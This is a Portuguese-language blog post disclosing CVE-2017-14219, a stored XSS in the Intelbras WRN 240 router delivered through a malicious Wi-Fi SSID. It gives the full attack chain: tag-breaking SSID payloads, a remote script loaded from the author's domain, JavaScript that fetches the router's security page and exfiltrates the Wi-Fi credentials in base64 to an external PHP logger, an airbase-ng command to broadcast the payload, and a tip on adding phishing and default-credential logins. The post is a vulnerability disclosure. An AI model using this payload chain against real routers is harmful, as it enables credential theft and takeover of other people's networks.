Thursday, September 7, 2017

[CVE-2017-14219] XSS NO ROTEADOR INTELBRAS WRN 240 - [PT-BR]

CVE-2017-14219

Exploit

Como começou

Já faz algum tempo que venho tentando ownar meu roteador, motivos? Só falta do que fazer, e as vezes falta de internet também, isso foi de tentativas de upload com firmeware modificado à tentaticas de inserir códigos na página alterando o ID da wireless, até que um dia li em um lugar sobre xss em roteadores pelo ssid de um outro AP, e tive minha idéia reforçada pelo Caio Luders após ler um tópico publicado pelo mesmo sobre isso.

O XSS

A vulnerabilidade está presente no Roteador Intelbras Wireless N 150Mbps WRN 240 (única versão testada por mim até agora), na página de busca por roteadores para usar como ponte.

URL: "http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm"

Passo 1

O roteador recebe o SSID das redes e em seguida mostra na tela sem nenhum tipo filtro ou sanitize, obedecendo somente ao limite de 32 caracteres do wireless. A página vulnerável não está ativa por padrão no roteador, o usuário (vítima) teria que ativá-la nas configurações do AP, mas por sorte (nossa é claro), só precisamos que o usuário logado acesse o html onde o sistema mostra as redes wireless que estão ao alcance. Ação que não seria difícil para alguém esperto.

Passo 2

Para subir o AP ultilizei outro roteador que eu tinha, mas nada que um airbase-ng não resolvesse. Alterei meu SSID para <script>alert('xss')</script>, uma tentativa que não obteve sucesso, mas alterei novamente para </script><script>alert('xss') onde a tag encerraria o primeiro </script> e iniciaria um novo, aproveitando da tag <script> original no fim do arquivo.

Passo 3

Agora que temos nosso xss vamos para a parte que realmente interessa. Obedecendo o limite de 32 caracteres do SSID wireless, uma maneira de injetar códigos longos na página seria importando de outro lugar, então alterei o SSID para </script><script src='//elb.me'>. “elb.me” é o meu domínio que estou ultilizando para salvar os payloads.

Sabemos que para acessar a index de uma página não necessáriamente precisa do /index.??? no final, então adicionei meu script na index do “elb.me”. Em uma técnica de roubo de cookies, costuma-se usar um script em php que pega o que for passado por GET e salva em um arquivo de log, não será muito diferente disso o que vamos fazer.

O script em PHP eu configurei em https://elb.me/cookie.php?ck=" os logs ficam salvos em https://elb.me/cookie.txt

O roteador salva a senha em um ajax localizado na página http://10.0.0.1/userRpm/WlanSecurityRpm.htm só precisamos da source dessa página para obter as credenciais. Na index de “elb.me” inseri um script em XMLHttpRequest, que me permite solicitar a source dessa página e enviar para nosso PHP receptor.

//Script feito com a ajuda do Luan Herrera
var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
       alert(rawFile.responseText);
       var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
       //seleiciona a parte da página com as credenciais
       new Image().src="https://elb.me/cookie.php?ck="+btoa(base64);
       //envia as credenciais encodadas em base64
};
rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true);
//pega a source da página /popupSiteSurveyRpm.htm
rawFile.send();

Agora que temos nosso payload, basta suburmos um AP e esperar que alguém abra a página do roteador, ou podemos enviar o link de acesso direto "http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm".

Testando na página obtive o seguinte resultado:

Passo 4

Nosso script funcionou :) Agora só precisamos ir na página onde os logs forma salvos, "https://elb.me/cookies.txt"

Passo 5

E depois de decodarmoso base64 obtemos nossa senha.

Passo 6

Dicas

E se o administrador não estiver logado? Seria uma boa idéia mandar um post para a página de login com as credenciais padrões junto cm o html de phishing.

Subindo o AP com o airbase:

airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon

Common Vulnerabilities and Exposures , Proof of Concept